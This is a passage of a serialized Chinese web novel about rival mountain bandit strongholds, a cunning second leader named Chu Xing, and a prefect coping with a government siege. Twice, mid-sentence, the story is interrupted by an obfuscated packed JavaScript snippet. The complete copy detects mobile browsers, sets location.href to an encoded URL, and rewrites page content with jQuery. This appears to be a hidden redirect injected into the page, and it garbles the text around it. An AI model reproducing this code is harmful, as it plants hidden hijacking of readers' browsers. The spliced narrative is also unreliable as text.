楚六:“可是这都多少天了,他确实什么都没有做啊。” “他什么都没有做,虔来山里为何会出现一支只有十几人的官兵小队?豹子山为何敢光明正大的抢夺威虎寨的粮车、常年混迹在虔来山的潇洒散户又为何会愿意集结起来,低声下气的求着投奔我们?” 虔来山广阔,广阔的足以包容无数山寨遍布的众多眼线,那么多土匪眼睛都紧紧盯着日夜埋伏在山底无所事事的官兵,慕峰青确实什么都没有干,可是他仍然可以让山上众人慌张地自乱阵脚。 这三句为何问的忠义堂众人都默不作声,齐威虎抬手捏起茶杯猛灌了一口,清凉的茶水顺着他的唇口顺着喉咙一直滑到胸口,在这阵清冽中他忽然想起自己与初暒推心置腹那日,初暒用指尖点在桌上的水滴。 ‘等到虔来山里的小的被大的吃了,大的再开始自相残杀,你死我活,在山底等候多时的人便可以将其一网打尽,也算省去翻山钻林的功夫了。’ 初暒说这话时齐威虎还没有多少感触,可在那之后不久,虔来山里能叫出名号的四大山寨只剩下三个后的此时,他才惊觉,要不是初暒先下手拿下豹子山,恐怕这会儿坐在忠义堂内喝着茶与手下人议事的就是赖豹了。 齐威虎将覆在自己一边眼眶的黑色眼罩扭正后,望着初暒沉声道,“初兄弟,你先前说‘谋思远虑,先解近忧’,如今近忧已解,远虑也到该筹谋的时候了,不知…初兄弟对今日商议之事有何高见?” “高见谈不上,筹谋应对的办法倒是有一些,不过在这之前,小弟有一句话想先问问大当家的与诸位兄弟。” 齐威虎:“初兄弟直管问就是。” 他让只管问,初暒也不拿乔,道,“慕峰青在虔来山底按兵不动数日,必定不会只是剿几个人回去交差,而在这山间落草为寇者,有不想走的会说当初只为不愁吃喝、潇洒自在,也有想走的会说是迫不得已、被逼无奈,若威虎寨真到与慕峰青短兵相接那日,在座诸位是想与他们鱼死网破还是俯首称臣?” 初暒这话是在问,他们是如何为威虎寨的将来做打算的。 齐威虎听明白了,楚六却说,“在虔来山里,只有黑鹰岭威名最盛,也是他们烧杀抢掠干的最多,朝廷要剿匪也最该先剿了他们,只要我们在山里猫好,谅那些鹰爪孙将虔来山翻了个也找不见我们。” 齐威虎看他一脸天真,不知该哭还是该笑,“既然黑鹰岭威名最盛,要是慕峰青连他们都打不下来,不就成了整个中北的笑柄了,那么你想,黑鹰岭被官兵端了后,他们是会宁死不松口威虎寨的坐落位置还是巴不得我们与他一起死?” 伍二:“黑鹰岭不倒,慕峰青不会善罢甘休,只要黑鹰岭一倒,下一个就该轮到我们威虎寨了。” 齐威虎重重点了一下头,问,“初兄弟以为,哪种才是我们最好的出路?” “鱼死网破有鱼死网破的办法,俯首称臣也有俯首称臣的门道,出路没有最好的,只有最合时宜的,威虎寨由您一手撑起来,它的命也该握在您的手里,但…仍有一点需要谨记……”初暒握着杯盏,目光一一掠过堂内众人后,郑重道,“无论做出什么抉择,人心要齐。” 外面夜色已深,天际有灿烂星辰,吃饱喝足后在威虎寨前院溜达打拳手下喽啰们的嬉笑打闹之声远远传来,齐威虎在那些声音中紧紧攥着手中空了许久的茶盏,缓缓道,“事关百余兄弟们的性命前程,容我再想想罢。” 初暒微微颔首,像是早料到会是这么个结局似的,道,“小弟问这话不过是想先和兄弟们提前通个气,大当家的不必着急答复。” 楚六忙问,“二当家,您方才说有筹谋应对之法,究竟是筹谋什么?怎么应对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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初暒明白齐威虎心中顾虑,又道,“我所要人手不多,只前豹子山诸兄弟及新投奔威虎寨那些人足以。” 齐威虎还没说什么,伍二先急了,“那些新人才来威虎寨,是不是真心顺服当家们的还另说,二当家怎么能将后背交给那些人,指望他们为山寨流血卖命呢!” 初暒:“用人不疑,我自有我的办法。” 伍二本想多劝说几句,可一听这话,就知晓她心中有数,便也不再作声了。 楚六的眼神一一从初暒和伍二脸上扫过,他自觉这会儿不是自己插嘴的时候,于是将目光投向能最终拍板的大当家。 初暒要的是前豹子山诸兄弟及新投奔威虎寨那些人,这就是说她不会动威虎寨的根本,而只要那些新长出来的枝叶。 根在,繁茂的枝叶就总会长出来。 若初暒真能收了黑鹰岭与刀客谷,那威虎寨便会在中北声名大噪,他齐威虎说不准也能跟着沾光,倘若不能,只要及时壮士断腕,倒也没有什么损失,横竖威虎寨的根基还是握在他的手里。 斟酌许久,齐威虎终于点头,凝重说,“那此事就交由初兄弟办罢。” 初暒颔首抱拳,“多谢大当家。” 伍二上前一步,道,“大当家的,二当家在虔来山人生地不熟,小的愿随她同去,也算是为咱们威虎寨尽些绵薄之力。” 齐威虎点点头,“去吧。” “大当家的,小的也想去!” 楚六高举着右手走出来后,殷勤的给齐威虎看茶,笑说,“伍二都能去,小的也要跟着,再说最近山里近来一直没生意,小的浑身都要长毛了。” 齐威虎抿着茶,“那儿都有你。” 知道他这是答应了,楚六嘿嘿笑了两声,忽然又像想起什么似的,问,“二当家,既然黑鹰岭与刀客谷咱们都瞧上了,要不咱们将难打的燕山鹰那头儿暂时缓缓,先去找刀疤脸的麻烦?” “刀客谷领域规模不大,紧挨着黑鹰岭多年也没有被吞并,可见两个山寨当家之间不是有什么交情就是刀疤脸有心攀附,趋炎附势之辈惯会审时度势,等依仗的高山倒了,他自会寻找新的靠山,找他的麻烦实在多此一举,故而……” 初暒顿了一下,伍二顺着她的视线看向距离刀客谷不远的黑鹰岭,听她沉声道—— “我们既然要打,就捡大的打。” 80. 偏心 虔来山以南埋伏着慕峰青手下官兵,山里的大寨小匪为了不与朝廷正面发生冲突,纷纷将自家的生意往北边迁移。 派兵埋伏前依照地形图在军帐作推演时,慕峰青便料到他们会这般行事,故而早早就叮嘱知州白向福着令辖地百姓坚壁不出,并增益巡城兵力,严加防守。 上面要百姓们待在城内不要外出,于是白向福将非要出城做买卖的男女老少们苦口婆心的劝说回来了;上面还要州府出人加强城池内外防守,刚给出五百余人州府驻军的白向福又将老底全部掏出甚至连自家府邸的看门小厮都派上了场,才凑起足以在州内各小城黑白轮班的巡守小队。 白向福觉得自己不辞辛劳以达上令、为辖地百姓上下操持的消息,多少总能飞进慕峰青耳中一些,他此念初衷倒不是想给自己的官途铺路,而只是希望慕峰青能看在他的面上善待自己送去的那些州府军。 “多日不见,也不知那个臭小子怎么样了。” 窗外有风吹过,拂落数十片在早秋中泛红的枫叶,白向福握着巡查纪要短暂的出了一下神,正欲重新低头翻看手中纸折时,忽然听见门外传来一阵凌乱地脚步声。 “知州大人!不好了!” “何事喧哗?” 慌忙跑进报信的守卫缓了缓心神,道,“兴民城外沿村落又有几个汉子偷跑出去让黑鹰岭的土匪给抢了!” 他口中这个‘又’字,让白向福叹了口气。 白向福官至知州,州内管辖着几个小城邑,各城之中,兴民城占地最大、人口最多且位于其间正中偏南之位,是通往晁都城与其他城邑的紧要枢纽。 地大、人多又是交通要道,这意味着兴民城除了要加强防御工事、维护城内治安,还肩负着促进调动周边城池商贸经济发展的职责。 可是白向福自就任以来慢慢发现,在兴民城过路做生意简单,可要想将心放进肚子里挣钱却十分困难。 毕竟人要想成事,就需得占齐天时、地利、人和三样。 兴民城自古以来就风调雨顺,没遭过什么大灾大难,而在城内做生意的想要发财就必须与人和气,天时与人和无关紧要,偏偏就是这地利不让人称心如意。 只因过了虔来山山脉,头一个看见的城池便是兴民城。 兴民城的繁荣与富饶不仅滋养了一方百姓,还给虔来山一众土匪养的肥肠满脑、膀大腰圆。 只是,若那山上土匪像往些年一样只抢抢米面钱粮之类的也都好说,可谁承想他们近几年竟将眼睛瞄向了身强力壮的庄稼汉身上,搞得兴民城内外皆是人心惶惶…… 白向福唉声问,“这回又是几个?” 守卫:“回大人,大约三四个,都是趁巡城小队换班时私自从羊马墙底下钻过去的,那墙属下之前已经命人加固过,谁晓得那群汉子还是有法子跑出去。” 原先在兴民城做生意的人来自中北各地,有嫌弃城中地皮贵,买不起的,大多会在城边不远圈地落脚,久而久之,城外边便也居住了不少安家落户的外乡人。 此次慕峰青剿匪,白向福也没有忘记关照他们,差人沿着城外村落围了一圈防守御敌才会建筑的羊马墙,即作防守也可限制他们私自外出。 兴民城内有围墙,城门紧闭,谅其中人再有能耐也插翅难飞,可在城外,村子屋舍坐落不均,其中小径也错综复杂,就算巡守官兵们严防死守也不能时时都紧盯着每一处围墙。 在兴民城做生意的,钱没了,还能再挣,可人要是被掳了,一户人家里就少一个能养家的顶梁柱,汉子们虽然嘴上都说自己一个大老爷们儿哪能跟黄花大闺女儿似的整日窝在家里,但真要他们像往常一样独自奔走在城外拉车运货,大多数人还是不情愿的。 如果这些人真是豁出性命也要跑出去挣钱,那也就是说被关数日,家中或许已经没有能够糊口的余粮了。 白向福没有想到慕峰青此人年岁不大却如此沉得住气,竟带人在虔来山底埋伏了这么久也不见有起兵的音信,不过……不起兵也有不起兵的好处,最起码不用操心跟着他的那些小兵流血卖命,可是再这般干堵着城门不让百姓们出城买卖做工,怕是过不了多久,不用土匪闯城抢夺,百姓自己就会先从城里冲出来嚎叫着要吃饭、要活命了。 厅内守卫半晌听不到白知州开口,抬头瞧瞧往桌前瞥了一眼,只见那个胡须半白的小老头正愁眉苦脸的攥着纸折,不知在想些什么。 “那些被掳汉子的亲眷来闹过没有?” “闹过县衙了,被郑县令以违抗上令之罪小小惩戒一番后撵回去了,郑县令干这活儿顺手的很,没惊扰到咱这儿。” “你差人去账上划些银子与被掳汉子的亲眷们分发,务必好言安抚,莫让他们对朝廷生出怨怼之心……” “报!” 白向福话还没有说完,院子里就再次传来一阵唱喏,他扔下手中纸折,掐完眉心无奈扶额,“又怎么了?” 另一守卫小兵行完礼,高声道,“白大人,出大事了,才被黑鹰岭土匪掳去的汉子们竟都自己跑回来了!” “什么?” 白向福听完来人禀报后先吃了一惊,他还没来得及回想自己方才喊了什么又下意识起身拍着桌案,烫嘴似的吆喝,“跑回来的汉子们现在何处?快快叫进来与本官回话!” “是!” 州府门外,才从虔来山死里逃生的汉子们慌张跑回村口时才想起自己是偷着溜出去的,为了不罪加一等,领头的汉子便对驻守官兵直言,他们这些人都是才从土匪刀下跑出来的,自己慌乱逃跑的时候发现了一些怪异之事,不晓得如实对官老爷们说出那些见闻可否算他们将功补过。 守卫小哥见这些汉子能活着从虔来山下来很是惊奇,又说将功补过这事他做不了主,但是愿意看在他们命大的份上跑着一趟腿,故而没多久,领头的汉子就见替他们传话的守卫小哥小跑出来道,“随我进去,知州大人要见你们。” 侥幸从土匪刀下逃脱的一共有四人,这些人都是兴民城外沿的同村,平日里以务农为生,连兴民城都很少进,就更别说带着偷跑罪名被守卫领进州府,去见比县令大人还大的官了。 他们一路低着头战战兢兢,直到守卫小哥站在一所青砖绿瓦的天井院高门前通报一句,“大人,人已带到”,他们才弓着腰互相看过一眼后软着腿连扑带跪趴倒在白向福的办事大厅中央。 “草民……见过知州大老爷!” “都起来回话!” 白向福起身走到厅内与客谈话的太师椅前,与这些站起来后手脚都不知该如何摆放的汉子们近身说,“叫你们进来不是为问罪的,不必拘谨,只需将如何从虔来山土匪手中平安逃脱一字一句讲于本官听便可。” 领头的汉子是四人当中最年长的,瞧着也像是见过世面的模样,他看同村人无一敢抬头开口,便独自大着胆子向前走了一步,答话,“回大老爷,草民贱名杨田,与这三位兄弟都住在兴民城外同乡村中,平日里都以种田卖粮为生,今年秋收后草民们刚将自家田里粮食收完卖完,就听县衙发了告示说慕将军要去虔来山剿匪,兴民城内外不允许百姓随意出入,咱们一听剿匪是好事呀,往后做点小买卖也不必再心惊肉跳、偷偷摸摸了,刚被羊马墙拦住前几天家中还有余粮日子也能过的下去,可是谁知道官爷们一拦就拦了这么多天,家里还有这么多张嘴要吃饭,再不出去要卖粮钱给家中添些吃食,恐怕不等土匪落网,草民一家就先得饿着肚子见阎王了!” 杨田啰啰嗦嗦说了一堆,越说越愤懑,一时竟以为自己是在跟哪位陌生大哥谝闲传,诉抱怨,直到身后一个同村小哥在他腰间顶了一圈,他才醒悟过来,话锋一转,“因而草民与附近几家同样吃光家中余粮,卖完粮食还没收到粮钱的兄弟们合计了一下,偷偷跑出去要钱,草民们去的时候好好的,一路上连个鬼影都没碰上,可要回钱刚踏上归家途中时却遇上了拦路打劫的土匪强盗,他们抢了草民们的钱财不够,还用麻袋将我等套住抗走扬言要收我们入伙去吃香喝辣,草民们早听说虔来山的土匪掳人,可是没想过这事真能发生在自己身上,正是叫天天不应,叫地地不灵之际,草民忽然听见麻袋外好似又来了一伙土匪,他们两拨人互相叫嚣一阵后,不知怎的突然打了起来,草民们趁土匪们打得激烈无暇顾及他们丢在地上的麻袋时偷偷从袋中钻出来拔腿就跑,跑的时候隐隐约约听身后土匪们怒吼了一句‘打完就抢!抢完就跑!这他娘的都几回了!次仇不报,我熊黑就改姓怂……’” 带汉子们进来的守卫听见熟悉的人名,道,“白大人,这叫熊黑的是黑鹰岭大当家燕山鹰的手下,没听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888129|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过虔来山里有哪家敢抢他的,而且…听这话,他们今日被抢之事不是偶然发生,之前还有过几回呢。” 白向福捋着下巴胡须,低语,“黑鹰岭在虔来山脉以北称霸多年,如今居然也有了自己的天敌,慕将军大概早料到山中土匪会沦落到黑吃黑这天,所以才会按兵不动至今,以期坐收渔网之利,真不愧是有勇有谋的征北大将军啊。” 他这话听得杨田心中一紧,忙问,“大老爷,土匪们都忙着黑吃黑了,草民们该不会还需继续窝在家中吧?这三五日的可以,可时日长了,真真是受不住啊……” 其他汉子也接连小声附和,“就是,我们小老百姓的日子总得过下去嘛……” “劳烦你将今日见闻悉数告知,诸位所求本官定当仔细斟酌后妥善处理,来人啊,送四位乡亲归家罢。” 守卫领命后,将昂首挺胸的四人恭敬送出,白向福背手立在原地思忖片刻后,挥手让手下上前,道,“传令下去,州内各城邑逐日削减守卫,命余下兵力分批次安置在兴民城内外,整装待发。” “是!” 办事大厅内因人员不断离去开始显得空旷,可白向福的心里却因今日收到的消息觉得万分充盈。 虔来山的土匪们扎根在深山老林不挪窝,像一根长着无数分支的锐利倒刺一般深深插在兴民城百姓乃至整个中北皮肉中数十年,到如今终于有人敢伸手过去将他们拧成一股后连根拔起了。 后浪推前浪,叶落有新芽。 白向福走到窗边望着不停从树枝脱落的红色枯叶,想起那个铁了心要跟随慕峰青的臭小子时,半白髭须下的唇角露出了欣慰的笑意。 短短几日,兴民城连同周边几座城邑就又恢复了以往的热闹,百姓能到处乱跑,相互间的闲言碎语便也如秋风般吹遍了城里城外每个角落。 大家都听说虔来山有一窝土匪,不掳平民百姓却一见土匪同行就打,打完又跟雁过拔毛似的将人家抢的只剩一条底裤,偏偏跑的比兔子还快,总是来无影去无踪的,就连土匪里最狠毒的黑鹰岭都拿他们没有办法。 土匪们在山上自顾不暇,于是他们老百姓才能大摇大摆的在山下运货溜达,提起那些抢土匪的土匪们时,百姓们无一不赞叹他们真是老鼠屎汤里炼出五灵脂(活血止痛中药名)——废料也有妙用。 而抢了黑鹰岭的汉子们此时还不知道自己被兴民城百姓们称作五灵脂,他们在山里绕了好几圈确定没人跟来才踏进豹子山。 楚六进门后,依次与同他一起回来的兄弟们将手中木棒整齐靠在院里专门放置兵器的木架,方大通一看到他就立刻提着茶壶与茶碗小跑出来,笑道,“楚大哥劳累了,快快吃些茶解解渴罢。” 楚六没有客气,接过茶碗就仰头一饮而尽,他随手将空碗甩给方大通,看都没看他一眼便径直往议事大堂走去。 方大通抱着大壶小碗,忍住心中怒气小跑跟上去,讨好问,“小的们这段时日总跟着伍二哥练拳,光练不干,这身子骨早开始发痒了,再者,咱们入伙威虎寨也有些日子了,一直这么白吃白喝也不是个事,楚六哥,您今日收获颇丰,不知…何时才能让小的们也跟您出去见见世面?” “等你们练得与我威虎寨的兄弟们一样强壮再说吧。”楚六上下打量完方大通,嗤笑道,“就你这样的,我领出去还不得被对家笑话死。” “啪!” 方大通忍无可忍的将手中茶碗砸碎在地,吼道,“什么你们我们!初二当家的早说过,进了威虎寨的门,就都是威虎寨的兄弟,凭什么你们能出去不让我们出去,闹得好像我们这帮人跟你们养的狗似的只能吃剩下的!” 楚六看着叫嚣的方大通挑了挑眉,罕见的没有与他一般见识,甚至笑说,“二当家既然这么跟你说,那我便带你去见她。” 远处的潘闯听见他们那边吵了起来,一边浑身摸索着自己不知道塞在哪儿的鱼纹骨哨,一边看热闹似的凑到伍千裘身边问,“伍二哥,他们那边吵啥呢?” 伍二漫不经心道,“那些人是初二当家入伙时带来的,这不看楚六成日只带你们出去,还当是二当家的偏心,醋了呗。” 潘闯脸上的得意都压不住了,嘴上却说—— “二当家的这么安排肯定有她的道理,都是自家弟兄,有甚好醋的……” 81. 造势 齐威虎曾说,‘黑鹰岭与威虎寨隔得远’,从这虔来山地形图也能看出,两寨之间直线距离有近百里,但初暒几次袭扰在黑鹰岭附近打劫的土匪中发现,虔来山山脉虽然蜿蜒崎岖,然,山与山之间的茂林里却不乏鞍部捷径,若一路都沿着那些隐匿的鞍部捷径穿山而过,从豹子山通往黑鹰岭的时长便可由原先的七八个时辰缩减为四五个时辰。 “四五个时辰,也还是有些长……” 初暒根据记忆用炭笔分片区将自己走过的山路以豹子山为起点依方位往外扩充,即使描摹许久地形图也依旧不甚完整,但手里有了这张图怎么说都比那帮被虔来山迷得到处转圈的官兵走运。 她坐在议事大堂仔细分析桌上的地形图纸,刚预备握笔在图上标记一处要地,忽听堂外有一阵吵嚷声传来—— “什么你们我们!初二当家的早说过……” “二当家既然这么跟你说,那我便带你去见她……” 方大通与楚六推搡吵嚷着过来,面上都是一副不讨个说法就没完的神情,可两人一进门看见二当家的目光从图纸上抬起转而投向他俩身上那刻,便立即不由自主地噤了声在原地定住。 初暒没有开口,只闲适的坐在原位目视他二人。 楚六见状,首先低头认错,说,“是小的没有照看好手下兄弟,叨扰了二当家的处理寨中事务,请二当家的恕罪!” 方大通愣了一下,也跟了一句,“请二当家的恕罪!” 向威虎寨二当家低头时,方大通其实还没有想明白自己为何对一个弱不禁风的小白脸做出如此动作,但一旁的楚六余光见他被自己故意营造的对二当家的惶恐唬住,心里暗自得意,不等初暒免礼,就抬头又道,“二当家的,这位方兄弟好似因为您只带小的们去‘抓羊’不带他们这些后来的去,有些吃味了,您快哄哄吧。” 初暒放下炭笔,笑道,“原来是因为此事。” “二当家的,人已带到,您二位聊着,小的先出去找伍二了。” 楚六朝初暒抱了抱拳,转身出去,方大通看他们这些‘原’威虎寨的人与二当家的说话如此亲昵,心里有些不自在,起身辩说,“二当家的,小的倒也不是吃味,只是兄弟们入伙咱威虎寨这些天总是在寨里白吃白喝的,一点功劳都没立、一点大礼都没备,大家伙儿心里实在是过意不去,小的憋闷久了一时没忍住,才与楚六哥说话急了些又冲撞了二当家,还请二当家的与楚六哥不要怪罪。” 初暒起身背手走到桌前,问他,“方兄弟,你知道我近几日常与楚六出去‘抓羊’,可晓得我们是去抓谁的‘羊’么?” 方大通心想除了过往商队与穿山小贩还能有谁,可转念却又记起,山下有官兵埋伏,自己与那些‘散户’已经有一个多月没在山里见过背着包袱的人了。 他摇摇头,不解,“这虔来山虎豹山头附近还有其他能通人的路?” 初暒颔首,将桌上地形图的正面转向方大通,并用指尖在图上某处轻轻点了两下。 方大通疑惑地上前走去,等看清图纸靠上一处上宽下窄之地时,倏地吃了一惊,“黑鹰岭?!” “是,黑鹰岭。” 初暒毫不躲闪的瞳孔告诉方大通,他们这些天忙活的事情就是与虔来山中最大的土匪窝作对。 “黑鹰岭距兴民城不远,胆子大些,确实能跟着他们吃喝不愁,但是要说去抢……”方大通稳了稳心绪,问,“据小的所知,黑鹰岭中如今大约有近千人,不说个个都嗜血凶残,仅就那些常出没在山中持刀抢掠的土匪手里最少都有几条人命,可我看您与楚六哥带兄弟们出去时各自都只拎一根木棍,人手、兵器均如此悬殊的情境下挑衅黑鹰岭,为何与您随行回来的兄弟中不见……伤亡?” 方大通问的小心生怕自己那句话说的不对,会让对方以为他好像巴不得他们会出现伤亡,初暒却对他的小心不以为意,反问,“伍二每日带你们练拳前,会做什么?” 方大通不知她为何想起来问这个,老实答,“伍二哥会先让小的们围着豹子山跑上几圈,说是您交代过,跑热了才能将身子骨活动开。” “跑的吃力么?” 方大通想了想,说,“头几日大家伙儿都累得直喘气,跑完大腿根疼的跟不是自己的似的,不过……最近跑完倒没什么感觉了,大概是已经习惯了。” 初暒点点头,答他,“敌我力量悬殊,要想没有伤亡,只要跑的够快就成,先前你们才进寨,体力与耐力都不够用,若我不考虑这些,只为立功备礼而带你们去对黑鹰岭,恐怕会害兄弟们白白丢了自己一条性命。” 方大通恍然,连忙拱手道谢,“原是如此,多谢二当家的这般为兄弟们打算。” 他想明白了,初暒倒敏锐的从方大通的话中听出一些古怪,疑惑,“豹子山与黑鹰岭相距甚远,我们带人挑衅黑鹰岭,你怎的只忧虑人手、兵器不足的情境,却一句也不提两寨之间的距离?” “虽说虔来山脉绵延悠长、地势复杂,但就是因其地势复杂,只要不是商队货运、架马赶车,在这山里从一个地方去往另一个地方就有无数条可走的路,无数条路中,各条路又有各条路的走法,比方说,您看着近的地方或许隔着无数山头,要走好些天都难走到,而有些远的看不见的地方也可能滑过几个大坡、再翻过几个丘岭就能出现在您眼前。”方大通解释说,“因而我们这些居无定所常在山里游走奔波的人想去一个地方不论远近,而只需登高依照目的位置的方位找路。” 初暒问,“从豹子山到黑鹰岭最短需要多少时辰?” 方大通也问,“您最短要多少时辰?” 初暒沉吟片刻,答,“四五个。” 方大通得意道,“小的只需不到三个时辰。” 不到三个时辰? 初暒心中一动,眸中却露出些质疑,“豹子山位于虔来山中心偏南,可是黑鹰岭却在山脉以北,这一北一南就算只走直线,最少也需四个时辰,方兄弟这个大话说的是不是有些过了?” “二当家的您请看此处!”她不信自己,方大通急了,上前指着地形图中虎豹山头不远一处悬崖,“这儿是个悬崖,旁人站在崖边往下看只能瞧见万丈深渊,可只要不怕高多往前走几步便能看到崖下山石是呈稍陡一些的坡度向下延伸的,豹子山与黑鹰岭一南一北不假,但是豹子山地势偏高,黑鹰岭却偏低,因而下到这个悬崖底部后再一直朝北寻下坡走,就能比正常走山路小径更快到达!” 坠崖这事初暒没少干,可是将悬崖当路去走还是头一回听说。 她此时终于明白,纵使自己把虔来山地形图补充的再完善,它也只是一张平面图,并不适用在有着纵横交错地势的虔来山里运用,要想在这山里来去自如还是需要熟悉山中环境的人引路才行。 初暒:“是我孤陋寡闻了,方才言语冲撞,还望方兄弟见谅。” 方大通:“啊?见谅的!见谅的!” 方大通在虔来山里混迹多年,从没有见过对手下喽啰这般客气有礼的土匪头子,他还在想这位‘小白脸’心里到底打的什么主意,却看到她沉吟片刻又道,“方兄弟胆大心细又对虔来山地形如此熟悉透彻,不知你是想继续与手下诸位兄弟寄人篱下,还是想使出浑身本事同我们并肩谋前程吃掉黑鹰岭、称霸虔来山?” 初暒毫不掩饰眼中的野心,方大通听她此话先是一惊而后又觉得自己胸膛之中忽然开始砰砰作响,浑身血气也好似全都被这位二当家的眼睛蛊惑进自己的脑袋里。 楚六与伍二还在院里闲聊,突然听见方大通在议事大堂里高声吼了一句什么,他们以为在里面说话的两人起了冲突刚要跑去制止,可是跑了没几步又见方才怒气冲冲进去的汉子此时竟满面喜色的走了出来。 方大通扬着手中卷起的图纸,兴奋地冲进投奔威虎寨那些‘散户土匪’们的就寝屋舍,“兄弟们,二当家的不用咱是想先等咱练好脚力呐,并非偏向何人!这不…眼下她就将一桩大活儿派给咱了,大家伙儿速速将自己以往在虔来山中探明的偏僻秘径合计合计后通通告知于我,都仔细回想,切不可有遗漏啊……” 楚六闻言,抱臂啧啧两声,低声感叹,“二当家的要带这两拨人来豹子山驻扎前我还发愁呢,要是他们说闲话时自爆了来路,让原豹子山的知道咱们藏在外面的人不过是来投奔的,或是让来投奔咱们的晓得山寨里多数人都是原豹子山的,那不就翻了天啦,谁能想到她将两拨人直接分给你我,你白日带着投奔的在跑山打拳,我带着原豹子山人整日在山里乱跑不着家,这些人甭说闲话,连一个照面都对不上,好 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初暒将虔来山地形图给了方大通后伫立在原地冥思:都说黑鹰岭的土匪狡猾凶狠,可自己和楚六已经分别带人在黑鹰岭周边抢了附近打劫土匪好几回了,怎的到如今都不见有人偷偷跟着自己摸过来寻仇? 抢完溜得太快,他们没跟上? 初暒抿着嘴开始琢磨下回要不跑慢些给他们放放水时,抬头又见伍二与楚六中间夹了个姜九步履匆忙的走了进来。 “二当家的不好了!” 自初暒来到威虎寨后,齐威虎耳中这些‘出事了!’‘不好了!’之类的唱喏就没怎么断过,只是她也没想到这些唱喏这么快就轮到自己听了。 初暒示意伍二为姜九看茶,自己则走动着随意落座,“嗯,慢慢说。” “哎呦您怎么还有闲心坐呐!”姜九接过伍二递来的茶盏,小嘴连珠炮似的说,“大当家的晌午得了信儿,说是‘虔来山里出了一群不讲规矩的暗挂子(武德败坏),不做自己的生意偏要在别人的地盘上线开爬(下手作案),怕是嫌自己的脑袋挂在脖子太沉!’大当家想都没想就猜这伙人肯定是您,您先前抢过的人除了有黑鹰岭,还有一些跟在黑鹰岭屁股后面捡肉渣的人,他们本来就吃不抱,如今连饭碗都被人砸了,正气的歪嘴骂娘非要投奔黑鹰岭要找您寻仇呢,大当家的见势不对便命小的赶紧来报信,要您赶紧带着人躲躲呢!” 初暒兀自为自己倒了一杯茶,悠悠递到唇边,“躲什么?他们一起来我就一起收拾。” 姜九瞪着眼睛,不可思议问,“收拾谁?就凭您院里那些不到二百个连一条裤子都穿不进去的人?” “这话是有点狂。”初暒笑笑,又说,“那咱就将他们分开,慢慢收拾。” 她不慌张甚至还在开玩笑,姜九劝不下去了,一巴掌拍在自己脑门仰头灌完杯中茶水后,疲惫地瘫坐在议事大堂内的太师椅中。 楚六与伍二相视一眼,也不知如何开口,这时门外有值守小喽啰喊了一声‘报!’后拱手捧着一根白色短条进来,道,“回二当家的,方才小的在山寨外树丛小解,脚下不小心踩着此物,但……发现此物的地方小的下午巡守时无意撇过一眼,那会儿还没有这东西呢,小的观其状觉得有些眼熟可又想不起在哪儿见过,故而来呈给您瞧瞧。” 伍二看见,诶了一声,道,“这不是潘闯不见的鱼纹骨哨么,他回来后一直在找呢,怎么会在山寨外面?” 楚六也说,“我与潘闯忙活完就直接回山寨了,也没见他后来出去过啊?” 初暒问值守喽啰,“你发现骨哨那处,草丛是否密集,人隐匿在那里,门口值守之人能否发觉?” 小喽啰点点头又摇摇头,“草丛是挺密集的,所以小的们平时都爱去那里方便,也就是因为兄弟们都爱在那儿方便,平日值守得都不愿意往那处看,因而就算发现那儿有人影估计也都会觉得不过是有人在方便。” 他方便来方便去,姜九累懵的脑袋越听越晕乎,他想请身旁大哥扶自己随便去哪儿睡会儿,但是刚用力撑起身,就听二当家道—— “伍二、楚六通知你们手下兄弟,三个时辰后带家伙、背铺盖、装干粮随我奔袭黑鹰岭!” 82. 怀疑 慕峰青率兵在虔来山底当门神数十日,山外想进的进不来,山里想下的下不去,搞得整条山脉乌烟瘴气、鸡犬不宁,就连向来自诩仗义和善、性情温和的威虎寨大当家的齐威虎都被逼急了,竟一反常态的命手下人砍杀赖豹并夺取其半生攒下来的家当豹子山。 此消息一出,山中无数土匪‘散户’闻着他们吃喝不愁的味儿就要赶去投奔,一时间,威虎寨家大业大的名声便传遍了虔来山脉。 生意离虎豹山头近的,稍一思忖就与周边兄弟入伙了威虎寨,有离虎豹山头远的,还在纠结若真到山穷水尽那日,自己是去腰缠万贯但当家粗鲁残暴的黑鹰岭还是往小有名气但当家知人善任的威虎寨奔前程时,流窜在黑鹰岭附近跟着燕山鹰屁股后面捡肉渣吃的土匪‘散户们’哪里能想到自己甭说奔前程,手上的饭碗倒先被人给掀翻了。 山里不知从哪里跑来一窝土匪,不做自己的生意,居然只将眼睛盯在挣了‘羊肉’后撤回的同行身上。 那些人四散的埋伏在忙活儿完撤离匪帮的必经之路上,趁其不备便一跃而起,挥着木棒子先打掉他们手中兵器再直朝面门用力抡去,等他们被打的眼冒金星时,才悠闲地拾起散落一地的‘羊肉’拍拍屁股潇洒走人。 在虔来山里过活的好汉哪里受过这种鸟气,许多遭过黑手的小匪帮便想办法试着联手整治他们,可那帮人神出鬼没,一抢掠完就四面八方的跑进树林草丛,活像一条条钻进土里的滑泥鳅,抓不着也逮不住,气的他们也只能跟娘们似的用破口大骂出气。 嚣张至极! 流氓至极! 简直比那群堵在虔来山底始终不肯给个痛快的鹰抓孙还要可恨! 找不到抢掠自己的人,抢掠别人时又时刻担心自己被别人抢了,纵使还没有碰到在虔来山里溜达的官兵小队,各户土匪们依旧在心惊胆战中恼怒的浑身打颤。 就在他们以为日子只能在这些焦虑与气愤中过下去时,有人看见从南边回来一头扎进黑鹰岭的土匪喽啰,还没进门就咆哮一句—— “他娘的,老子还当是阎罗王过的不顺心才派来山中小鬼与我黑鹰岭作对,谁知道数次抢掠我的原来是豹子山那帮吃了狗胆的龟孙!” 这话像是油锅里忽然落入了一滴水,虔来山以北很快便因它沸腾起来。 